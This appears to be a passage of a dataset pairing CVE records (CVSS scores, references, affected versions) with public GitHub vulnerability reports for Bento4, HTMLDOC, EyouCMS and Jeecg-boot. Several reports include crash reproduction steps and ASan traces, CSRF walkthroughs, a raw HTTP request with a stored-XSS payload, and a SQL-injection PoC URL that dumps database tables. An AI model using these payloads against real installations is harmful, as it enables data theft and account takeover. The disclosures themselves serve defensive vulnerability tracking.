#27 0x53ed78 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:580:20
#28 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#29 0x553677 in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#30 0x5529a3 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#31 0x5529a3 in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /benchmark/Bento4/Source/C++/Core/Ap4ContainerAtom.cpp:88:20
#32 0x53def3 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:816:20
#33 0x53bbf1 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:234:14
#34 0x53b237 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /benchmark/Bento4/Source/C++/Core/Ap4AtomFactory.cpp:154:12
SUMMARY: AddressSanitizer: heap-buffer-overflow /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:1027:16 in __interceptor_fread.part.0
Shadow bytes around the buggy address:
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8010: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa 01 fa
=>0x0c047fff8020: fa fa fd fa fa fa fd fa fa fa 01 fa fa fa[01]fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==1448318==ABORTING
~~~~
|
Heap overflow in mp4info, ReadPartial, Ap4StdCFileByteStream.cpp:341
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/812/comments
| 0 |
2022-11-11T07:45:28Z
|
2022-11-11T07:46:10Z
|
https://github.com/axiomatic-systems/Bento4/issues/812
| 1,445,073,819 | 812 |
CVE-2022-0137
|
2022-11-14T18:15:15.903
|
A heap buffer overflow in image_set_mask function of HTMLDOC before 1.9.15 allows an attacker to write outside the buffer boundaries.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.6,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/michaelrsweet/htmldoc/commit/71fe87878c9cbc3db429f5e5c70f28e4b3d96e3b"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/michaelrsweet/htmldoc/issues/461"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:htmldoc_project:htmldoc:*:*:*:*:*:*:*:*",
"matchCriteriaId": "76FBE339-551C-4C28-B91E-6E18D158C9C7",
"versionEndExcluding": "1.9.15",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/michaelrsweet/htmldoc/issues/461
|
[
"Exploit",
"Issue Tracking",
"Patch",
"Third Party Advisory"
] |
github.com
|
[
"michaelrsweet",
"htmldoc"
] |
# Heap-buffer-overflow in image_set_mask(image_t*, int, int, unsigned char)
I've attached [poc.zip](https://github.com/michaelrsweet/htmldoc/files/7793648/poc.zip) that contains a malicious gif and a html file.
To reproduce and get the segmentation fault:
```
$ unzip poc.zip
$ htmldoc --webpage -f output.pdf crash.html
```
AddressSanitizer report:
```
=================================================================
==8922==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f951ffffb90 at pc 0x0000006588e3 bp 0x7ffdeac61760 sp 0x7ffdeac61758
READ of size 1 at 0x7f951ffffb90 thread T0
#0 0x6588e2 in image_set_mask(image_t*, int, int, unsigned char) ./htmldoc/htmldoc/image.cxx:1810:13
#1 0x65607f in gif_read_image(_IO_FILE*, image_t*, unsigned char (*) [3], int, int) ./htmldoc/htmldoc/image.cxx:325:7
#2 0x64e5c7 in image_load_gif(image_t*, _IO_FILE*, int, int) ./htmldoc/htmldoc/image.cxx:1360:12
#3 0x64bfe8 in image_load ./htmldoc/htmldoc/image.cxx:830:14
#4 0x575153 in write_image(_IO_FILE*, render_str*, int) ./htmldoc/htmldoc/ps-pdf.cxx:10305:5
#5 0x554517 in pdf_write_document(unsigned char*, unsigned char*, unsigned char*, unsigned char*, unsigned char*, unsigned char*, tree_str*, tree_str*) ./htmldoc/htmldoc/ps-pdf.cxx:2292:7
#6 0x53f367 in pspdf_export ./htmldoc/htmldoc/ps-pdf.cxx:910:7
#7 0x510cb6 in main ./htmldoc/htmldoc/htmldoc.cxx:1291:3
#8 0x7f95234c10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#9 0x42110d in _start (./htmldoc/htmldoc_asan+0x42110d)
0x7f951ffffb90 is located 3631 bytes to the right of 181601-byte region [0x7f951ffd2800,0x7f951fffed61)
allocated by thread T0 here:
#0 0x4999c2 in calloc (./htmldoc/htmldoc_asan+0x4999c2)
#1 0x655be0 in image_need_mask(image_t*, int) ./htmldoc/htmldoc/image.cxx:1756:24
#2 0x64dd93 in image_load_gif(image_t*, _IO_FILE*, int, int) ./htmldoc/htmldoc/image.cxx:1343:13
#3 0x64bfe8 in image_load ./htmldoc/htmldoc/image.cxx:830:14
#4 0x611ff3 in compute_size(tree_str*) ./htmldoc/htmldoc/htmllib.cxx:3239:11
#5 0x605528 in htmlReadFile ./htmldoc/htmldoc/htmllib.cxx:981:11
#6 0x515181 in read_file(char const*, tree_str**, char const*) ./htmldoc/htmldoc/htmldoc.cxx:2492:9
#7 0x510381 in main ./htmldoc/htmldoc/htmldoc.cxx:1177:7
#8 0x7f95234c10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow ./htmldoc/htmldoc/image.cxx:1810:13 in image_set_mask(image_t*, int, int, unsigned char)
Shadow bytes around the buggy address:
0x0ff323ff7f20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0ff323ff7f70: fa fa[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7f90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7fa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7fb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0ff323ff7fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap:
```
The overflow occurs on the `img->mask` buffer.
The `img->mask` is allocated on `image_need_mask()`, line 1343, using `img->width` and `img->height` values that were initialized at line 1267.
After the call to `image_need_mask()`, `img->width` and `img->height` are changed at lines 1346, 1347. By setting a higher `img->height` it its possible to go out of bounds on the buffer `img->mask` in:
```
1808 maskptr = img->mask + y * img->maskwidth + x / 8;
1809 if (alpha <= dither[x & 3][y & 3])
1810 *maskptr |= masks[x & 7];
```
|
Heap-buffer-overflow in image_set_mask(image_t*, int, int, unsigned char)
|
https://api.github.com/repos/michaelrsweet/htmldoc/issues/461/comments
| 2 |
2021-12-30T15:54:02Z
|
2021-12-30T18:34:58Z
|
https://github.com/michaelrsweet/htmldoc/issues/461
| 1,091,182,106 | 461 |
CVE-2022-43323
|
2022-11-14T20:15:17.740
|
EyouCMS V1.5.9-UTF8-SP1 was discovered to contain a Cross-Site Request Forgery (CSRF) via the Top Up Balance component under the Edit Member module.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/28#issue-1410026516"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.5.9:*:*:*:*:*:*:*",
"matchCriteriaId": "42A15197-E862-429C-8ECB-79D0B850C9C5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/28#issue-1410026516
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF).Located in the backend, member center, editing, Top up balance. To exploit this vulnerability, a quasi-prepared HTML file needs to be opened
1、Go to the background --> member center--> edit member--> Top up balance
2、Grab the request package for recharge and construct it
3、Open in another browser and go to the background page, see that the user test01 balance is 1000
4、Click on the structured page
The figure above shows the page that automatically jumps after successful execution to check whether the balance has increased？
The balance has increased by 1000:
|
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/28/comments
| 1 |
2022-10-15T03:24:29Z
|
2023-02-28T02:38:05Z
|
https://github.com/weng-xianhu/eyoucms/issues/28
| 1,410,026,516 | 28 |
CVE-2022-44387
|
2022-11-14T20:15:18.233
|
EyouCMS V1.5.9-UTF8-SP1 was discovered to contain a Cross-Site Request Forgery (CSRF) via the Basic Information component under the Edit Member module.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/29"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.5.9:*:*:*:*:*:*:*",
"matchCriteriaId": "42A15197-E862-429C-8ECB-79D0B850C9C5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/29
|
[
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF).Located in the backend, member center, edit member profile. To exploit this vulnerability, a constructed HTML file needs to be opened
1. Enter the background - > member center - > edit members - > basic information
2. Construct a request package to modify the membership level and login password, among other basic information
The figure above shows the constructed web code, and the password is changed to "csrftest" through CSRF, and the membership level is changed to premium membership (100 days).
3. View profile
In this case, the password is "test01" and the membership level is registered member
4. Click on the constructed web page
Return to the client refresh page to log in to test01 again, the password has been changed to "csrftest", and the membership level has been changed to premium membership
At this point the password has been changed to "csrftest"
The client views personal information:
View the test01 user's profile in the background:
|
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/29/comments
| 1 |
2022-10-27T13:36:23Z
|
2023-02-24T07:42:24Z
|
https://github.com/weng-xianhu/eyoucms/issues/29
| 1,425,651,916 | 29 |
CVE-2022-44389
|
2022-11-14T20:15:18.593
|
EyouCMS V1.5.9-UTF8-SP1 was discovered to contain a Cross-Site Request Forgery (CSRF) via the Edit Admin Profile module. This vulnerability allows attackers to arbitrarily change Administrator account information.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/30"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.5.9:*:*:*:*:*:*:*",
"matchCriteriaId": "42A15197-E862-429C-8ECB-79D0B850C9C5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/30
|
[
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF).Located in the background, edit the administrator profile. This vulnerability may cause the modification of personal information such as administrator password, mobile phone number, and email address. To exploit this vulnerability, a constructed HTML file needs to be opened.
1、Go to the back office - > personal information
The password is “admin123456”
2、Construct a request package to change passwords, mobile phone numbers, email addresses, and other basic information.
The above figure shows the constructed web page code, using CSRF to change its password to "csrftest", the mobile phone number to "11111111111", and the email address to "[email protected]".
3、View the administrator's profile:
At this time, the administrator password is "admin123456", and other information is shown in the preceding figure.
4、Click on the constructed web page.
Return to the backend page to view the administrator's profile.
Successfully used CSRF to modify mobile phone number and email address.
Verify that the password is changed to "csrftest":
Login successful!
|
EyouCMS v1.5.9 has a vulnerability, Cross-site request forgery(CSRF)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/30/comments
| 1 |
2022-10-29T03:58:24Z
|
2023-02-21T02:49:11Z
|
https://github.com/weng-xianhu/eyoucms/issues/30
| 1,428,062,999 | 30 |
CVE-2022-44390
|
2022-11-14T20:15:18.950
|
A cross-site scripting (XSS) vulnerability in EyouCMS V1.5.9-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Public Security Record Number text field.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/31"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.5.9:*:*:*:*:*:*:*",
"matchCriteriaId": "42A15197-E862-429C-8ECB-79D0B850C9C5",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/31
|
[
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
Version：V1.5.9-UTF8-SP1
1、Go to the background --> basic information--> the record number and public security record number, and click the code mode to modify to the code mode.
2、Construct the JS script at the record number.
3、Open the EyouCMS client.
4、Construct JS scripts on the PC side of the computer under the third-party code of the website.
5、Open the EyouCMS client.
6、Cross-site scripting attacks (XSS) also exist on mobile phones under the public security record number and third-party code of the website and Copyright Information.And the javascript in the copyright information will affect both the foreground and the administrator background.
|
EyouCMS v1.5.9 has multiple vulnerabilities, stored cross-site scripting (XSS)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/31/comments
| 1 |
2022-10-29T06:04:09Z
|
2023-02-21T01:49:51Z
|
https://github.com/weng-xianhu/eyoucms/issues/31
| 1,428,108,510 | 31 |
CVE-2022-45280
|
2022-11-23T21:15:11.310
|
A cross-site scripting (XSS) vulnerability in the Url parameter in /login.php of EyouCMS v1.6.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/32"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.0:*:*:*:*:*:*:*",
"matchCriteriaId": "EB987CAE-6D4D-417A-8E0D-9DCC47F986EB",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/weng-xianhu/eyoucms/issues/32
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"weng-xianhu",
"eyoucms"
] |
name：EyouCMS
version: EyouCMS-V1.6.0-UTF8-SP1
Installation package [download：](https://www.eyoucms.com/rizhi/2022/1102/28642.html)
Problematic packets:
> POST /login.php?m=admin&c=Links&a=add&_ajax=1&lang=cn HTTP/1.1
> Host: 192.168.23.130:49160
> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
> Accept: application/json, text/javascript, */*; q=0.01
> Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
> Accept-Encoding: gzip, deflate
> Content-Type: application/x-www-form-urlencoded; charset=UTF-8
> X-Requested-With: XMLHttpRequest
> Content-Length: 141
> Origin: http://192.168.23.130:49160
> Connection: close
> Referer: http://192.168.23.130:49160/login.php?m=admin&c=Links&a=add&lang=cn
> Cookie: PHPSESSID=07lpb0tri05c4fqvd85em8u6rs; admin_lang=cn; home_lang=cn; ENV_UPHTML_AFTER=%7B%22seo_uphtml_after_home%22%3A0%2C%22seo_uphtml_after_channel%22%3A%221%22%2C%22seo_uphtml_after_pernext%22%3A%221%22%7D; workspaceParam=seo%7CSeo; ENV_GOBACK_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26typeid%3D5%26lang%3Dcn; ENV_LIST_URL=%2Flogin.php%3Fm%3Dadmin%26c%3DArchives%26a%3Dindex_archives%26lang%3Dcn; admin-arctreeClicked-Arr=%5B%5D; admin-treeClicked-Arr=%5B%5D; referurl=http%3A%2F%2F192.168.23.130%3A49160%2F; img_id_upload=; ENV_IS_UPHTML=0; imgname_id_upload=
>
> typeid=1&groupid=1&url=javascript%3Aalert(123)&title=XS&logo_local=&logo_remote=&province_id=0&city_id=&area_id=&sort_order=100&email=&intro=
Vulnerability recurrence
1.Log in to the background，Click "SEO module" ->"friendship link" ->"add link"
2.input payload：javascript:alert(11)，Submit
Click and trigger XSS after submission
PS：The vulnerability will also be displayed on the home page and can be triggered by clicking
|
EyouCMS v1.6.0 existence stored cross-site scripting (XSS)
|
https://api.github.com/repos/weng-xianhu/eyoucms/issues/32/comments
| 1 |
2022-11-10T12:16:56Z
|
2023-02-21T01:34:50Z
|
https://github.com/weng-xianhu/eyoucms/issues/32
| 1,443,805,273 | 32 |
CVE-2022-45205
|
2022-11-25T17:15:11.007
|
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/dict/queryTableData.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Product"
],
"url": "http://jeecg-boot.com"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4128"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.4.3:*:*:*:*:*:*:*",
"matchCriteriaId": "49DF84AE-6D1A-4065-AB0B-CB6926D6C5F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/jeecgboot/jeecg-boot/issues/4128
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"jeecgboot",
"jeecg-boot"
] |
# SysDictMapper.xml
queryDictTablePageList。You can see that no precompiling is performed
<img width="960" alt="截屏2022-10-25 15 24 58" src="https://user-images.githubusercontent.com/60163868/197709842-99880e4f-25e4-4f5a-a2cb-4fa8dcca4db2.png">
# SysDictController.java
<img width="1192" alt="截屏2022-10-25 15 25 29" src="https://user-images.githubusercontent.com/60163868/197709957-cd39a764-b173-4958-ad07-75c31c07c594.png">
# SysDictServiceImpl.java
<img width="807" alt="截屏2022-10-25 15 26 05" src="https://user-images.githubusercontent.com/60163868/197710069-7de3a1d9-616e-4e2d-a5ff-3fc3a5e8fee9.png">
# vuln
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
# poc
http://192.168.1.1:8088/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA
There is no control over the user's control over the table, column, and database name, so that the attacker can directly obtain all data
## MySQL background code
<img width="1227" alt="截屏2022-10-25 15 28 13" src="https://user-images.githubusercontent.com/60163868/197710513-13392cf8-cf24-40f8-9866-7f52069dec06.png">
## result in the website
<img width="1889" alt="截屏2022-10-25 15 33 29" src="https://user-images.githubusercontent.com/60163868/197711567-079e07b7-c823-4b96-8d2b-ef2d5be3c52b.png">
pagesize control the result num，and code text control the column_name you want,table control the tables
# patch
Change to precompile
Verify the fields entered by the user
|
[CVE-2022-45205]/sys/dict/queryTableData is affected by sql injection
|
https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4128/comments
| 2 |
2022-10-25T07:31:16Z
|
2022-12-01T07:35:33Z
|
https://github.com/jeecgboot/JeecgBoot/issues/4128
| 1,421,998,736 | 4,128 |
CVE-2022-45206
|
2022-11-25T17:15:11.060
|
Jeecg-boot v3.4.3 was discovered to contain a SQL injection vulnerability via the component /sys/duplicate/check.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Product"
],
"url": "http://jeecg-boot.com"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4129"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.4.3:*:*:*:*:*:*:*",
"matchCriteriaId": "49DF84AE-6D1A-4065-AB0B-CB6926D6C5F3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/jeecgboot/jeecg-boot/issues/4129
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"jeecgboot",
"jeecg-boot"
] |
